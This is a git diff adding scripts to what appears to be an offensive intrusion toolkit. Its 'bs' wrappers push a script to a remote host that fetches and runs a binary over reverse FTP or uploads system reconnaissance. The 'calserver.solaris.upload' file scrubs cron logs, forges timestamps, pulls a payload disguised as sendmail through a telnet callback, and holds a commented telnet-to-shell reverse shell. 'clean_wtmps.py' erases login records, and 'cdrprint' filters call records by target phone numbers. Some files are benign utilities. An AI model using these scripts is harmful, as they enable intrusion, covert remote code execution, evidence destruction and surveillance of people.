$extraOpts ..." +echo "--> my IP is $LOCAL_IP" +echo "--> local user/pass is $LOCAL_USER/$LOCAL_PASSWD" +echo "--> xfering and running $RUN_FILE" +echo "--> using tmp file $SCRIPT" +echo "--> using tmp dir $DIR" + +#exit 0 + +bs ${REMOTE_IP} ${REMOTE_HOST} ${REMOTE_PORTS} $extraOpts \ +$cmdFlag "/bin/echo \"/bin/mkdir ${DIR} +/bin/ftp -in << EOF +open ${LOCAL_IP} +user ${LOCAL_USER} ${LOCAL_PASSWD} +binary +lcd ${DIR} +get ${RUN_FILE}.Z +EOF +cd ${DIR} +/usr/bin/uncompress -f ${RUN_FILE}.Z +/bin/chmod 0700 ${RUN_FILE} +PATH=${DIR} ${RUN_FILE} ${EXTRA} +/bin/rm ${SCRIPT} +\" > ${SCRIPT} && +/bin/sh ${SCRIPT}" + diff --git a/Linux/bin/bs_test b/Linux/bin/bs_test new file mode 100755 index 0000000..49ec7ca --- /dev/null +++ b/Linux/bin/bs_test @@ -0,0 +1,113 @@ +#!/bin/sh +# +# Use bs to upload a program via reverse FTP and run it +# + +# Some default values +SCRIPT="/tmp/...." +DIR="/tmp/..." +LOCAL_USER="test" +LOCAL_PASSWD="test" + +# Show usage and exit +usage() { + echo "Old Usage: ${0} rem_ip rem_host loc_ip loc_user loc_passwd file [args...]" + echo "" + echo "New usage: ${0} [options] -- [options to ]" + echo " -i (required)" + echo " -h (required)" + echo " -a Use alt rpcbind port" + echo " -s def= bs default" + echo " -r def= bs default" + echo " -d " + echo " -p def= query rpcbind" + echo " -l (required)" + echo " -u (def= test)" + echo " -P (def= test)" + echo " -f (required)" + echo " -D def= $DIR" + echo " -S def= $SCRIPT" + exit 1 +} + +# There must be at least one argument +if [ ${#} -eq 0 ]; then + usage +fi + +# +# Process args +# +if [ "`echo $1 | cut -c1`" != "-" ]; then + # Must be old style command line + [ $# -lt 6 ] && usage + + REMOTE_IP=${1} + REMOTE_HOST=${2} + LOCAL_IP=${3} + LOCAL_USER=${4} + LOCAL_PASSWD=${5} + RUN_FILE=${6} + shift; shift; shift; shift; shift; shift + REMOTE_PORTS="23 23" +else + # New style options + while getopts i:h:as:r:d:p:l:u:P:f:D:S: op; do + case $op in + i) REMOTE_IP="-i $OPTARG";; + h) REMOTE_HOST="-h $OPTARG";; + a) altRpcbind="-a";; + s) sndPort="-s $OPTARG";; + r) rcvPort="-r $OPTARG";; + d) remDomain="-d $OPTARG";; + p) sadmindPort="-p $OPTARG";; + l) LOCAL_IP="$OPTARG";; + u) LOCAL_USER="$OPTARG";; + P) LOCAL_PASSWD="$OPTARG";; + f) RUN_FILE="$OPTARG";; + D) DIR="$OPTARG";; + S) SCRIPT="$OPTARG";; + esac + done + cmdFlag="-c" + extraOpts="$altRpcbind $sndPort $rcvPort $remDomain $sadmindPort" + shift `expr $OPTIND - 1` + + # Check for required args + [ -z "$REMOTE_IP" ] && echo "Error: missing remote IP" && usage + [ -z "$REMOTE_HOST" ] && echo "Error: missing remote host" && usage + [ -z "$LOCAL_IP" ] && echo "Error: missing local IP" && usage +fi +EXTRA="${*}" + + +echo "running: bs ${REMOTE_IP} ${REMOTE_HOST} ${REMOTE_PORTS} $extraOpts ..." +echo "--> my IP is $LOCAL_IP" +echo "--> local user/pass is $LOCAL_USER/$LOCAL_PASSWD" +echo "--> xfering and running $RUN_FILE" +echo "--> using tmp file $SCRIPT" +echo "--> using tmp dir $DIR" + +#exit 0 + +bs ${REMOTE_IP} ${REMOTE_HOST} ${REMOTE_PORTS} $extraOpts \ +$cmdFlag "/bin/echo \"/bin/mkdir ${DIR} +cd ${DIR} +uname -a > a +w >> a +date >> a +df -k >> a +ps -ef >> a +/bin/ftp -in << EOF +open ${LOCAL_IP} +user ${LOCAL_USER} ${LOCAL_PASSWD} +binary +lcd ${DIR} +put a +EOF +/bin/chmod 0700 ${DIR}/${RUN_FILE} +PATH=${DIR} ${RUN_FILE} ${EXTRA} +/bin/rm ${SCRIPT} +\" > ${SCRIPT} && +/bin/sh ${SCRIPT} && +/bin/rm -rf ${DIR}" diff --git a/Linux/bin/bwmon.py b/Linux/bin/bwmon.py new file mode 100755 index 0000000..7274bf9 --- /dev/null +++ b/Linux/bin/bwmon.py @@ -0,0 +1,220 @@ +#!/usr/bin/env python +VERSION = '1.0.0.4' + +import os +import re +import sys +import time +import getopt +import os.path +import subprocess + + +def usage(prog): + + print 'usage: python %s [options] ifname [logfile]' % prog + print 'options:' + print ' -h show this help and exit' + print ' -e show extended stats (kbpm, kbp10m, kbph)' + print ' -n interval update interval in seconds (default 5)' + print ' -v show version and exit' + show_version(prog) + sys.exit(0) + + +def show_version(prog): + + print '%s version %s' % (prog, VERSION) + + +def lo_execute(cmd): + + proc = subprocess.Popen(cmd, stdout=subprocess.PIPE, shell=True) + output = proc.stdout.read() + + return output + + +def print_data(ifname, rx_bytes, rx_pkts, rx_kbps, rx_kbpm, rx_kbp10m, rx_kbph, + tx_bytes, tx_pkts, tx_kbps, tx_kbpm, tx_kbp10m, tx_kbph, + show_extended, logfile): + + t = int(time.time()) + tstr = time.strftime('%a %b %d %H:%M:%S %Z %Y') + + rx_MB = float(rx_bytes) / 1048576.0 + tx_MB = float(tx_bytes) / 1048576.0 + + rx_kBps = rx_kbps / 8.0 + tx_kBps = tx_kbps / 8.0 + + outstr = '%s\n' % tstr + outstr += '%3s %11s %9s %10s %8s %9s' % (ifname, 'bytes', '(MB)', 'packets', 'kbps', '(kBps)') + if show_extended: + outstr += ' %9s %9s %9s' % ('kbps-1m', 'kbps-10m', 'kbps-hr') + outstr += '\n' + outstr += ' TX %11d %9s %10d %8.1f %9s' % (tx_bytes, '(%.1f)' % tx_MB, tx_pkts, tx_kbps, '(%.1f)' % tx_kBps) + if show_extended: + outstr += ' %9.1f %9.1f %9.1f' % (tx_kbpm, tx_kbp10m, tx_kbph) + outstr += '\n' + outstr += ' RX %11d %9s %10d %8.1f %9s' % (rx_bytes, '(%.1f)' % rx_MB, rx_pkts, rx_kbps, '(%.1f)' % rx_kBps) + if show_extended: + outstr += ' %9.1f %9.1f %9.1f' % (rx_kbpm, rx_kbp10m, rx_kbph) + + print outstr + + if logfile != None: + try: + fd = open(logfile, 'a') + fd.write(outstr + '\n') + fd.close() + except: + pass + + return + + +def get_bw_info(ifname): + + rx_bytes = 0 + rx_pkts = 0 + tx_bytes = 0 + tx_pkts = 0 + + try: + fd = open('/proc/net/dev', 'r') + lines = fd.readlines() + fd.close() + + for line in lines: + if re.search('^ *%s:' % ifname, line): + data = line.split(':')[1].split() + rx_bytes = int(data[0]) + rx_pkts = int(data[1]) + tx_bytes = int(data[8]) + tx_pkts = int(data[9]) + except: + out = lo_execute('/sbin/ifconfig %s' % ifname) + + if re.search('not found', out): + return (0, 0, 0, 0) + + rx_bytes = int(re.search('RX bytes:([0-9]+) ', out).group(1)) + tx_bytes = int(re.search('TX bytes:([0-9]+) ', out).group(1)) + + rx_pkts = int(re.search('RX packets:([0-9]+) ', out).group(1)) + tx_pkts = int(re.search('TX packets:([0-9]+) ', out).group(1)) + + return (rx_bytes, rx_pkts, tx_bytes, tx_pkts) + + +def doloop(ifname, interval, show_extended, logfile): + + prev_rx, prev_rxp, prev_tx, prev_txp = get_bw_info(ifname) + + # extended stats + prev_rx_min = [prev_rx] * 60 + prev_rx_10min = [prev_rx] * 600 + prev_rx_hr = [prev_rx] * 3600 + prev_tx_min = [prev_tx] * 60 + prev_tx_10min = [prev_tx] * 600 + prev_tx_hr = [prev_tx] * 3600 + + print_data(ifname, prev_rx, prev_rxp, 0, 0, 0, 0, + prev_tx, prev_txp, 0, 0, 0, 0, show_extended, logfile) + + counter = 1 + + while True: + curr_sec = int(time.time()) + + rx, rpkts, tx, tpkts = get_bw_info(ifname) + + if counter % interval == 0: + rx_kbps = ((rx - prev_rx) * 8) / 1024.0 / interval + tx_kbps = ((tx - prev_tx) * 8) / 1024.0 / interval + prev_rx = rx + prev_tx = tx + + i = curr_sec % 60 + rx_kbpm = ((rx - prev_rx_min[i]) * 8) / 1024.0 / 60 + tx_kbpm = ((tx - prev_tx_min[i]) * 8) / 1024.0 / 60 + prev_rx_min[i] = rx + prev_tx_min[i] = tx + + i = curr_sec % 600 + rx_kbp10m = ((rx - prev_rx_10min[i]) * 8) / 1024.0 / 600 + tx_kbp10m = ((tx - prev_tx_10min[i]) * 8) / 1024.0 / 600 + prev_rx_10min[i] = rx + prev_tx_10min[i] = tx + + i = curr_sec % 3600 + rx_kbph = ((rx - prev_rx_hr[i]) * 8) / 1024.0 / 3600 + tx_kbph = ((tx - prev_tx_hr[i]) * 8) / 1024.0 / 3600 + prev_rx_hr[i] = rx + prev_tx_hr[i] = tx + + if counter % interval == 0: + print_data(ifname, rx, rpkts, rx_kbps, rx_kbpm, rx_kbp10m, rx_kbph, + tx, tpkts, tx_kbps, tx_kbpm, tx_kbp10m, tx_kbph, + show_extended, logfile) + + time.sleep(1) + counter += 1 + + return + + +def main(argv): + + prog = os.path.basename(argv[0]) + interval = 5 + ext_stats = False + + try: + opts, args = getopt.getopt(argv[1:], 'hvn:e') + except getopt.GetoptError, err: + print str(err) + usage(prog) + + for o, a in opts: + if o == '-h': + usage(prog) + elif o == '-v': + show_version(prog) + sys.exit(0) + elif o == '-n': + try: + interval = int(a) + except: + print 'ERROR: invalid interval %s' % a + sys.exit(1) + + if interval <= 0: + print 'interval must be > 0' + sys.exit(1) + elif o == '-e': + ext_stats = True + else: + print 'unknown option' + usage(prog) + + if len(args) < 1 or len(args) > 2: + usage(prog) + + ifname = args[0] + + if len(args) == 2: + logfile = args[1] + else: + logfile = None + + doloop(ifname, interval, ext_stats, logfile) + + +if __name__ == '__main__': + + try: + main(sys.argv) + except KeyboardInterrupt: + pass diff --git a/Linux/bin/bwsofar b/Linux/bin/bwsofar new file mode 100755 index 0000000..806c027 --- /dev/null +++ b/Linux/bin/bwsofar @@ -0,0 +1,40 @@ +#!/bin/sh +VER=1.0.0.1 + +usage() { + cat </dev/null | grep RX 2>/dev/null | tail -1 2>/dev/null | sed "s/.*RX bytes://" | sed "s/ .*//g" 2>/dev/null` +KB=`echo $BYTES/1024 | bc` +MEG=`echo $KB/1024 | bc` +GIG=`echo $MEG/1024 | bc` +[ "$G" -o "$ALL" ] && echo $GIG GB +[ "$M" -o "$ALL" ] && echo $MEG MB +[ "$K" -o "$ALL" ] && echo $KB KB +[ "$B" -o "$ALL" ] && echo $BYTES bytes + diff --git a/Linux/bin/calserver b/Linux/bin/calserver new file mode 100755 index 0000000..6719e05 Binary files /dev/null and b/Linux/bin/calserver differ diff --git a/Linux/bin/calserver.solaris.upload b/Linux/bin/calserver.solaris.upload new file mode 100644 index 0000000..f695e8d --- /dev/null +++ b/Linux/bin/calserver.solaris.upload @@ -0,0 +1,42 @@ +# Add your commands after the cleanup +if [ -f /var/spool/cron/crontabs/root ]; then + mv -f /var/spool/cron/crontabs/root.bak /var/spool/cron/crontabs/root + rm -f /var/spool/cron/crontabs/root.orig + touch -r /var/spool/cron/crontabs/root /var/spool/cron/crontabs + printf 'caroot\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0' > /etc/cron.d/FIFO +fi + +if [ -f /var/cron/log ]; then + touch -r /var/cron /tmp/.af1221 + i=`wc -l /var/cron/log |awk '{print $1}'` + i=`expr $i - 3` + head -$i /var/cron/log > /var/cron/bak + mv -f /var/cron/bak /var/cron/log + chmod 600 /var/cron/log + chown root:root /var/cron/log + i=`tail -1 /var/cron/log` + i=`echo $i | sed s/Jan/01/` + i=`echo $i | sed s/Feb/02/` + i=`echo $i | sed s/Mar/03/` + i=`echo $i | sed s/Apr/04/` + i=`echo $i | sed s/May/05/` + i=`echo $i | sed s/Jun/06/` + i=`echo $i | sed s/Jul/07/` + i=`echo $i | sed s/Aug/08/` + i=`echo $i | sed s/Sep/09/` + i=`echo $i | sed s/Oct/10/` + i=`echo $i | sed s/Nov/11/` + i=`echo $i | sed s/Dec/12/` + y=`echo $i|cut -d' ' -f9` + y=`echo $y | cut -b3-4` + i=`echo $i | tr ':' ' '` + i=`echo $i | cut -d' ' -f6-9|tr -d ' :'` + touch $i$y /var/cron/log + touch -r /tmp/.af1221 /var/cron + touch $i$y /etc/cron.d/FIFO +fi +rm -f /tmp/.af1221 + +# -- Add your commands here: +mkdir /tmp/.scsi;cd /tmp/.scsi && telnet LOCAL_IP CALLBACK_PORT < /dev/console |uudecode > /dev/null 2>&1 && uncompress -f sendmail.Z && chmod 0700 sendmail && PATH=/tmp/.scsi sendmail +#TERM=vt100;export TERM;telnet 555.1.2.150 2525 2>&1 < /dev/console | /bin/sh 2>&1 | telnet 555.1.2.150 8080 2>&1 diff --git a/Linux/bin/catflap b/Linux/bin/catflap new file mode 100755 index 0000000..70dede5 Binary files /dev/null and b/Linux/bin/catflap differ diff --git a/Linux/bin/catflap_intel_V1 b/Linux/bin/catflap_intel_V1 new file mode 100755 index 0000000..4fa5d2d Binary files /dev/null and b/Linux/bin/catflap_intel_V1 differ diff --git a/Linux/bin/catflap_intel_V2 b/Linux/bin/catflap_intel_V2 new file mode 100755 index 0000000..4f6b687 Binary files /dev/null and b/Linux/bin/catflap_intel_V2 differ diff --git a/Linux/bin/catflap_sparc b/Linux/bin/catflap_sparc new file mode 100755 index 0000000..157082b Binary files /dev/null and b/Linux/bin/catflap_sparc differ diff --git a/Linux/bin/cdate b/Linux/bin/cdate new file mode 120000 index 0000000..9b4f240 --- /dev/null +++ b/Linux/bin/cdate @@ -0,0 +1 @@ +../etc/cdate.py \ No newline at end of file diff --git a/Linux/bin/cdate.old b/Linux/bin/cdate.old new file mode 100755 index 0000000..f06c06e --- /dev/null +++ b/Linux/bin/cdate.old @@ -0,0 +1,171 @@ +#!/usr/bin/env python +version = "2.7.5.1" + +import sys +import time +import os +import re +import getopt +import calendar + +def usage(prog): + + prog = prog.split(os.sep)[-1] + print 'usage: %s [options] [date [+/-hr]]\n' % (prog) + print 'options:' + print ' -e show epoch seconds' + print ' -d show YYYYMMDDHHMM.SS format' + print ' -u show MM/DD HH:MM (sulog) format' + print ' -s show string format\n' + print ' -h show help and exit' + print ' -v show version and exit\n' + print 'date can be in the following formats:\n' + print ' epoch in secs ex. 1000000000' + print ' YYYYMMDDHHMM[.SS] ex. 200109090146.40' + print ' MM/DD HH:MM [YYYY] ex. 09/09 01:46 2001' + print ' [Ddd] Mmm DD HH:MM[:SS] [YYYY] ex. Sun Sep 09 01:46:40 2001\n' + print '+/-hr specifies an offset in hours, ex. +8\n' + print '%s version %s' % (os.path.basename(prog), version) + sys.exit(1) + + +def to_epoch(t): + + return str(calendar.timegm(t)) + + +def to_date(t): + + return time.strftime('%Y%m%d%H%M.%S', t) + + +def to_str(t): + + return time.strftime('%b %d %H:%M:%S %Y', t) + + +def to_sulog(t): + + return time.strftime('%m/%d %H:%M %Y', t) + + +def parse_str(s): + + try: + if re.match('^\w{3} \d{1,2} \d\d:\d\d:\d\d \d{4}$', s): # Mmm DD HH:HH:SS YYYY + thedate = time.strptime(s, '%b %d %H:%M:%S %Y') + elif re.match('^\w{3} \d{1,2} \d\d:\d\d \d{4}$', s): # Mmm DD HH:HH YYYY + thedate = time.strptime(s, '%b %d %H:%M %Y') + elif re.match('^\w{3} \d{1,2} \d\d:\d\d:\d\d$', s): # Mmm DD HH:HH:SS + thedate = time.strptime(s + ' %d' % (time.localtime()[0]), '%b %d %H:%M:%S %Y') + elif re.match('^\w{3} \d{1,2} \d\d:\d\d$', s): # Mmm DD HH:HH + thedate = time.strptime(s + ' %d' % (time.localtime()[0]), '%b %d %H:%M %Y') + elif re.match('^\w{3} \w{3} \d{1,2} \d\d:\d\d:\d\d \d{4}$', s): # Ddd Mmm DD HH:HH:SS YYYY + thedate = time.strptime(s, '%a %b %d %H:%M:%S %Y') + elif re.match('^\w{3} \w{3} \d{1,2} \d\d:\d\d \d{4}$', s): # Ddd Mmm DD HH:HH YYYY + thedate = time.strptime(s, '%a %b %d %H:%M %Y') + elif re.match('^\w{3} \w{3} \d{1,2} \d\d:\d\d:\d\d$', s): # Ddd Mmm DD HH:HH:SS + thedate = time.strptime(s + ' %d' % (time.localtime()[0]), '%a %b %d %H:%M:%S %Y') + elif re.match('^\w{3} \w{3} \d{1,2} \d\d:\d\d$', s): # Ddd Mmm DD HH:HH + thedate = time.strptime(s + ' %d' % (time.localtime()[0]), '%a %b %d %H:%M %Y') + elif re.match('^\d\d\/\d\d \d\d:\d\d$', s): # MM/DD HH:MM + thedate = time.strptime(s + ' %d' % (time.localtime()[0]), '%m/%d %H:%M %Y') + elif re.match('^\d\d\/\d\d \d\d:\d\d \d\d\d\d$', s): # MM/DD HH:MM YYYY + thedate = time.strptime(s, '%m/%d %H:%M %Y') + else: + return None + except Exception, e: + print str(e) + return None + + return thedate + + +def print_pretty(t): + + print '' + print 'epoch time : %s' % (to_epoch(t)) + print 'YYYYMMDDHHMM.SS : %s' % (to_date(t)) + print 'MM/DD HH:MM YYYY : %s' % (to_sulog(t)) + print 'full string : %s' % (to_str(t)) + print '' + + +def main(): + + thedate = None + offset = 0 + showe = False + showd = False + shows = False + showu = False + + if len(sys.argv) == 1: + print_pretty(time.localtime()) + sys.exit(1) + + try: + opts, args = getopt.getopt(sys.argv[1:], 'hvedsu') + except getopt.GetoptError, err: + print str(err) + usage(sys.argv[0]) + + for o, a in opts: + if o == '-h': + usage(sys.argv[0]) + elif o == '-v': + print '%s version %s' % (os.path.basename(sys.argv[0]), version) + sys.exit(1) + elif o == '-e': + showe = True + elif o == '-d': + showd = True + elif o == '-s': + shows = True + elif o == '-u': + showu = True + + if len(args) == 0: + thedate = time.localtime() + else: + if re.match('^[+-]\d\d?$', args[-1]): + offset = int(args[-1]) + if offset < -23 or offset > 23: + print 'error: bad offset value' + usage(sys.argv[0]) + args = args[:-1] + + if len(args) == 1: + if re.match('^\d{1,10}$', args[0]): + thedate = time.gmtime(int(args[0])) + elif re.match('^\d{12}$', args[0]): + thedate = time.strptime(args[0], '%Y%m%d%H%M') + elif re.match('^\d{12}\.\d\d$', args[0]): + thedate = time.strptime(args[0], '%Y%m%d%H%M.%S') + else: + thedate = parse_str(args[0]) + else: + thedate = parse_str(' '.join(args)) + + if thedate == None: + print 'error: bad date format' + usage(sys.argv[0]) + + t = calendar.timegm(thedate) + t += (offset * 60 * 60) + thedate = time.gmtime(t) + + if showe or showd or shows or showu: + if showe: + print to_epoch(thedate) + if showd: + print to_date(thedate) + if showu: + print to_sulog(thedate) + if shows: + print to_str(thedate) + else: + print_pretty(thedate) + +if __name__ == '__main__': + main() diff --git a/Linux/bin/cdrprint b/Linux/bin/cdrprint new file mode 100755 index 0000000..eb4c191 --- /dev/null +++ b/Linux/bin/cdrprint @@ -0,0 +1,130 @@ +#!/usr/bin/env perl + +use Getopt::Long; +my $version = "1.1.1.1"; + +GetOptions("a=s" => \$opt_a, + "f=s" => \$opt_f, + "h" => \$opt_h, + "v" => \$opt_v); + +# If usage needed +if ($opt_h) +{ + print STDERR "cdrprint -f inputfile -a argsfile\n\n"; + print STDERR "-f inputfile: comma-delimited CDR records (1 per line)\n"; + print STDERR "-a argsfile: space-delimited target numbers (1 or more lines)\n\n"; + print STDERR "This script takes comma-separated CDR records and pretty\n"; + print STDERR "prints them. Output goes to stdout.\n"; + print STDERR "\ncdrprint version $version\n"; + exit; +} + +# If version number needed +if ($opt_v) +{ + print STDERR "cdrprint version $version\n"; + exit; +} + +# Check for required arguments +$opt_a || die "Must supply argument filename with -a switch"; +$opt_f || die "Must supply input filename with -f switch"; +$argsfile = $opt_a; +$filename = $opt_f; + +# Read in targets from file, store in a hash table +my $argscount = 0; +open(ARGSFILE, "$argsfile") || die "Error opening $argsfile"; +while ($argsline = ) +{ + chomp $argsline; + @argsarray = split(" ", $argsline); + foreach $arg (@argsarray) + { + $argshash{$arg} = 1; + $argscount++; + } +} + +# Open the cdroutput file given on the command line, loop thru entries +open(CDRFILE, $filename); +while () +{ + # Change the current filename's entries if needed + if (/entries from (.*)/) + { + $cdrfile = $1; + next; + } + + # Parse the cdr record + @parsedstring = split(","); + $phone1 = $parsedstring[3]; + $phone2 = $parsedstring[5]; + $imei = $parsedstring[2]; + + # If neither phone number matches a target number (i.e. we have a match + # based on timestamp), skip it + $match1 = 0; + $match2 = 0; + $match3 = 0; + foreach $arg (keys %argshash) + { + $match1 = 1 if ($phone1 =~ /$arg/); + $match2 = 1 if ($phone2 =~ /$arg/); + $match3 = 1 if ($imei =~ /$arg/); + } + next if ($match1 == 0 && $match2 == 0 && $match3 == 0); + + # Pretty print the record + # A * next to a number indicates exact match to a target + # A ! next to a number indicates partial match to a target + # No symbol next to a number indicates no match + print "---- BEGIN ENTRY FROM $cdrfile ----\n"; + + # Print phone 1 entry + if (exists $argshash{$phone1}) + { + print "Party 1:\t\t$phone1*\n"; + } + else + { + if ($match1 == 1) + { + print "Party 1:\t\t$phone1!\n"; + } + else + { + print "Party 1:\t\t$phone1\n"; + } + } + + # Print phone 2 entry + if (exists $argshash{$phone2}) + { + print "Party 2:\t\t$phone2*\n"; + } + else + { + if ($match2 == 1) + { + print "Party 2:\t\t$phone2!\n"; + } + else + { + print "Party 2:\t\t$phone2\n"; + } + } + + # Print rest of information about the cdr record + print "IMEI (Party 1):\t\t$imei\n"; + print "Cell-id (Party 1):\t$parsedstring[9] / $parsedstring[8]\n"; + print "IMSI (Party 1):\t\t$parsedstring[4]\n"; + print "Event time:\t\t$parsedstring[0]\n"; + print "Duration:\t\t$parsedstring[1]\n"; + print "---- END ENTRY FROM $cdrfile ----\n"; +} +close(CDRFILE); + + diff --git a/Linux/bin/clean_wtmps.py b/Linux/bin/clean_wtmps.py new file mode 100755 index 0000000..ea33315 --- /dev/null +++ b/Linux/bin/clean_wtmps.py @@ -0,0 +1,146 @@ +#!/bin/env python +import os,sys,binascii,re,time + +version = "2.0.0.0" + +class clean_wtmps: + def __init__(self): + self.original = "" + self.goodData = "" + + def main(self): + print version + if not len(sys.argv) > 1 or str(sys.argv[1]) == "-h": + print "usage: clean_wtmps.py file [tty] [time]" + sys.exit(1) + + if not os.path.exists(sys.argv[1]): + print "File does not exist" + sys.exit(1) + + self.readwtmps(sys.argv[1]) + #data = self.readwtmps(sys.argv[1]) + #if not data: sys.exit(1) + + if len(sys.argv) == 2: + self.printStructs() + elif len(sys.argv) == 4: + tty = sys.argv[2].strip() + myTime = binascii.unhexlify(hex(int(sys.argv[3].strip()))[2:]) + #print time + self.parseOut(tty,myTime,sys.argv[1]) + + def readwtmps(self,wtmps): + print "Reading wtmps file..." + + #goodData = "" + #original = "" + + f = open(wtmps,'rb') + self.original = f.read() + f.close() + + print "Parsing offsets using 652 struct size" + ans = len(self.original) % 652 + #print ans + if ans != 0: + print "File is corrupted. Attempting to locate invalid offset" + self.findBroken() + else: + self.goodData = self.original + + def findBroken(self): + count = 0 + + for i in range(len(self.original), 0, -652): + print i + count += 1 + line = self.original[i-652:i] + if not re.match("\x00\x00\x02\x88", line): + print "Located invalid offset at count %d" % count + print "Walking backwards till I find it" + numBytes = 0 + while True: + numBytes += 1 + line = self.original[i-(652+numBytes):i] + if re.match("\x00\x00\x02\x88", line): + break + + print "Number of invalid bytes: %d" % numBytes + break + else: + self.goodData = line + self.goodData + + if len(self.goodData) == len(self.original): + print "Entire file may be corrupt...was unable to find good offsets" + + #default = "n" + #answer = str(raw_input("Fix wtmps file? [y/N] ")).lower() + #if not answer: + # print "Not fixing" + # return False + #if answer == 'y': + # newData = data[:i-numBytes] + data[i:] + # ans = len(newData) % 652 + # if ans == 0: + # print "FIXED!" + # return newData + + # return False + + def printStructs(self): + for i in range(0,len(self.goodData),652): + line = self.goodData[i:i+652] + user = "" + findUser = re.match("[A-Za-z\.]+",line[4:]) + if findUser: + user = findUser.group() + myTime = int(binascii.hexlify(line[352:356]),16) + prettyTime = time.asctime(time.localtime(int(myTime))) + #272 + #term = line[272:284].strip() + term = "" + termCheck = re.search("(tty|pts)[/]{0,1}[a-z0-9]{0,2}", line) + if termCheck: term = termCheck.group() + + print "%s\t%s\t%s (%s)" % (user, term, str(myTime), str(prettyTime)) + + def parseOut(self,tty,myTime,wtmps): + test = self.goodData[0:652] + if not re.match("\x00\x00\x02", test): + print "First entry is not a valid entry" + return False + + i = 0 + count = 1 + found = False + numStructs = len(self.goodData) / 652 + newData = "" + for i in range(0,len(self.goodData),652): + line = self.goodData[i:i+652] + count += 1 + #if re.search("%s.+%s" % (tty,time), line): + if line.find(myTime) != -1: + #print line.find(time) + print "Found in struct %d out of %d" % (count, numStructs+1) + found = True + if (i+652) == len(self.goodData): + newData = self.goodData[:i] + else: + newData = self.goodData[:i] + self.goodData[i+652:] + break + if found is False: + print "String was not found" + else: + if len(self.goodData) != len(self.original): + newData = self.original[:len(self.original)-len(self.goodData)] + newData + + if len(newData) == len(self.original) - 652: + print "Cleaned Successfully...iyf" + f = open(str(sys.argv[1]),'wb') + f.write(newData) + f.close() + print "Data has been written to %s" % str(sys.argv[1]) + +if __name__ == "__main__": + clean_wtmps().main() diff --git a/Linux/bin/cleaner b/Linux/bin/cleaner new file mode 100755 index 0000000..64811af Binary files /dev/null and b/Linux/bin/cleaner differ diff --git a/Linux/bin/clocksync.pl b/Linux/bin/clocksync.pl new file mode 100755 index 0000000..462ec02 --- /dev/null +++ b/Linux/bin/clocksync.pl @@ -0,0 +1,393 @@ +#!/usr/bin/env perl +# $Id: clocksync.pl,v 1.3 2006/06/06 23:11:31 user Exp $ +## +$VER = "1.0.2.4"; +# DEFAULTS +$defintf = "ppp"; +@ntptargets =("us.pool.ntp.org","ch.pool.ntp.org","pool.ntp.org"); +#DEBUG: DBG ONLY, set this to ppp for dialup +myinit() ; +# +mylog("Starting v$VER"); +unless (($intf,@rest) = checkppp(240)) { + mylog("No IP address yet on ${defintf}[01] for four minutes. Waiting at most another 6 minutes"); + unless (($intf) = checkppp(360)) { + mydie("ABORTING: CANNOT confirm valid ${defintf}[01] IP address for another six minutes (ten total)"); + } +} +sleep 1; +sleep 3; # add a few more seconds here since we are no longer pinging $testip +my $count=0; +my $result=0; +my ($servername,$server,%errlog) = (); +while (! $result) { + foreach $ntptarget (@ntptargets) { + my @name_lookup = gethostbyname($ntptarget); + my @ips = map { inet_ntoa($_) } @name_lookup[ 4 .. $#name_lookup ]; + if (@ips) { + mylog("$ntptarget resolved to: @ips"); + } else { + mylog("Cannot resolve $ntptarget"); + $result = 1; + } + foreach $ip (@ips) { + `ntpdate -v $ip 2>&1`; + if ($result = $?) { + $errlog{$result} .= " $ip"; + } + unless ($result) { + $servername = $ntptarget; + $server = $ip; + last; + } + } + last if ($server); + last unless $result; + } + last if ($server); + last unless $result; + $count+=3; + sleep 3; + last if $count > 30; +} + +if ($result) { + foreach $err (sort keys %errlog) { + mylog("ntpdate $ip returned $err for EACH OF these IPs:$errlog{$result}"); + } + mydie("FAILED--exiting"); +} + +if ($server) { + mylog("Successful ntp connection to $servername/$server"); +} else { + mylog("FAILED? Did this work? WTF? result=$result but server=$server and servername=$servername"); +} + +$count=0; +$result=0; +while (! `hwclock --systohc`) { + $result = $?; + last unless $result; + $count+=3; + sleep 3; + last if $count > 30; +} + +if ($result) { + mydie("FAILED: ntpdate $ntptarget worked but then hwclock --systohc returned $result"); +} + +# allow time for clock to settle so timestamp in log below is new one +sleep 3; +unlink("/tmp/clocksync.done"); +copy("/tmp/clocksync.log","/tmp/clocksync.done"); + +sub checkppp { + # Return () if no ppp address, otherwise + # Return ($ispname,$ispip,$testip,$ispcitystate,$ispphone) + local ($wait) = (@_); + my $isdown = ""; + if ($wait eq "down") { + $isdown = $wait; + $wait = 0; + # give interface a couple seconds to drop entirely + sleep 2; + } + my (@intf,$ispname,$ispip,$testip,$ispcitystate,$ispphone) = (); + my $intf = $defintf; + $wait = 3 * int($wait / 3); # force a multiple of 3 + my $origwait = $wait; + while ( 1 ) { + $blah=`ps -ef | egrep "setupisp|wvdial.conf" | grep -v grep`; + if ($wait and $blah) { + #TODO: Is this right? Is wvdial gone once we have ppp? + sleep 3 ; + $wait -= 3; + next if $wait; + mylog("ERROR: Unable do detect just dialed ISP for $origwait seconds"); + return (); + } + @intf=($defintf."0",$defintf."1"); + ($testip) = `route -n` =~ /\n\s*0.0.0.0\s*(\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3})/; + $testip = "" if ($testip eq "0.0.0.0"); + unless ($testip) { + my @lines = grep { "^nameserver" } `cat /etc/resolv.conf`; + ($testip) = $lines[0] =~ / (\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3})/; + } + foreach $intf (@intf) { + my $ifconfig = `ifconfig $intf 2>&1`; + my ($ispip) = $ifconfig =~ /inet addr:\s*(\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3})/; + # If nothing else we ping our own IP as a test + $testip = $ispip unless $testip; + $testip = $ispip; + if ($ispip) { +# my ($loss) = `ping -nc1 $testip 2>&1` =~ /\s(\d+)\% .*loss/; + $loss = 0 ; + if (length($loss) and $loss == 0) { + my $ispinfo = "/tmp/isp_info"; + if (-M $ispinfo > 0) { + # We log an error if using PPP but /tmp/isp seems old. + mylog("$ispinfo timestamp seems too old for a new dial? Using it anyway...") + unless $opt_e; + } + ($ispcitystate,$ispphone,$ispname) = ("unknown,UN","911"); + if (open(TMPIN,"$ispinfo")) { + chomp($ispname = ); + $ispname =~ s/,/\./g; + chomp($ispcitystate = ); + unless ($ispcitystate =~ /,\s*[A-Z]{2}\s*$/) { + chomp(my $ispstate = ); + $ispcitystate .= " $ispstate"; + } + $ispcitystate =~ s/,//g; + chomp($ispphone = ); + $ispphone =~ s/,//g; + close(TMPIN); + } + # Ensure none of these entries have commas 